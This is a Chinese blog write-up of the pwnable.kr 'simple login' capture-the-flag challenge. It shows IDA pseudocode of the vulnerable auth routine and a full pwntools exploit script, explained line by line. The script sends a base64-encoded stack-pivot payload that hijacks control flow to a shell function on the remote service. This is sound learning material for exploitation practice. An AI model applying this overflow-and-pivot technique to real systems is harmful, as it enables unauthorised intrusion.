pwnable.kr之simple login

本文参考自: 原文地址

这题与之前所作的题目不同,不同点在于这题不存在ssh连接至其他的服务器,需要自己在脚本中体现。

首先,下载文件,放到IDA里跑一跑(这里说明,要注意下载下来的文件是32位还是64位的文件,这关系到能不能正确打开并得到反汇编代码的问题),得到main函数的伪代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+18h] [bp-28h]@1
  __int16 v5; // [sp+1Eh] [bp-22h]@1
  unsigned int v6; // [sp+3Ch] [bp-4h]@1

  memset(&v5, 0, 0x1Eu);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  printf("Authenticate : ");
  _isoc99_scanf("%30s", &v5);
  memset(&input, 0, 0xCu);
  v4 = 0;
  v6 = Base64Decode((int)&v5, &v4);
  if ( v6 > 0xC )
  {
    puts("Wrong Length");
  }
  else
  {
    memcpy(&input, v4, v6);
    if ( auth(v6) == 1 )
      correct();
  }
  return 0;
}

理解这串代码并不难,结果发现这里还引用了auth( )函数,直接双击,得到auth( )函数的代码:

_BOOL4 __cdecl auth(int a1)
{
  char v2; // [sp+14h] [bp-14h]@1
  char *s2; // [sp+1Ch] [bp-Ch]@1
  int v4; // [sp+20h] [bp-8h]@1

  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5(&v2, 12);
  printf("hash : %s\n", (char)s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

发现这是一个比较的函数,如果字符串和f87cd601aa7fedca99018a8be88eda34相同,那么就得到权限。

理解完了题目的意思之后,接下来就是写脚本,还是和之前一样,先给出脚本,再一句句分析:

#!/user/bin/python
from pwn import *

FILL = 0xdeadbeef
SHELL = 0x08049278
BUF = 0x0811EB40
HOST = "pwnable.kr"
PORT = 9003

loginer = remote(HOST, PORT)
playload =  (p32(FILL) + p32(SHELL) + p32(BUF)).encode("base64")

loginer.recvuntil(":")
loginer.sendline(playload)

loginer.interactive()

loginer.close()
#!/user/bin/python
from pwn import *

这两行代码一是申明这是一段python代码,二是申明调用了pwn库;

FILL = 0xdeadbeef
SHELL = 0x08049278
BUF = 0x0811EB40

这三行便是定义了三个地址,我认为最难的是FILL的确定,这是这道题目的难点(我认为一般做pwn最难的是找到溢出的多少),这需要查看IDA

                    

计算可以得到0x0c-0x14即为偏移量,即为-8,所以只需要覆盖一个字节为12的十六进制就可以,再查看auth( )函数的地址,发现

.text:0804930B                 leave
.text:0804930C                 retn

这两个汇编代码的意思便是:

mov esp, ebp  
pop ebp       ;ebp = ebp指向的栈地址中保存的值,esp + 4
pop eip       

所以只需要覆盖8个字节即可,我喜欢用0xaaaaaaaa;

至于SHELL的地址:


不管是在reverse或者是pwn中,一定要注意关键字的查询,特别是中文的智能检索(reverse很多用的是OD,IDA可以用shift+F12来查找string),明显这是0x08049278就是要劫持函数的地址;

BUF便是payload的起始地址,这个可以直接双击offset input得到:


所以BUF的值便是0x0811eb40;

讲完了这段脚本的最难点,接下来的就是一些常规的参数;

HOST = "pwnable.kr"
PORT = 9003

这便是根据hint来设置的HOST是主机名,PORT是端口;

loginer = remote(HOST, PORT)
playload =  (p32(FILL) + p32(SHELL) + p32(BUF)).encode("base64")
第一行的代码实现的作用就是远程连接服务器;第二行代码就是把从IDA中找到的地址进行打包,当然按照题目的要求,要对BUFF进行base64的编码(encode是加密,decode是解密);

loginer.recvuntil(":")
loginer.sendline(playload)

这两行代码看着比较复杂,其实很容易理解,第一行代码可以拆分成receive until :,再结合题目一看,整个代码只有在开头让你输入时候,才会有Authenticate : ,整个程序也就只有这里才有:,想到这里,其实这句话有很多中写法,比如loginer.recvuntil("Authenticate :")这也是一种方法,其他的截取字符串也都是可以的方法;sendline便是发送之前设置好的payload进行溢出;

loginer.interactive()

loginer.close()

第一行代码是进行交互,第二行代码便是关闭这个文件,进行提权之后的操作;

既然都说到这里了,接下了的几步最简单的也还是略微带过,之前第一次碰到提权的题目,运行完脚本之后我还以为系统卡住了,也没有进行之后的操作,呃呃呃,那时候看着运行成功之后很开心,但是没有flag确实很懵逼,后来才知道还有几步最简单的没有操作.....

                 

是不是发现这个接下来的步骤很简单,你也可以whoami一下看看自己现在是什么,是不是发现自己已经成功提权了,但是好像还不是root权限,不过还是很棒,ok,大功告成!!!!!!!!!

猜你喜欢

转载自blog.csdn.net/qq_39706019/article/details/81430308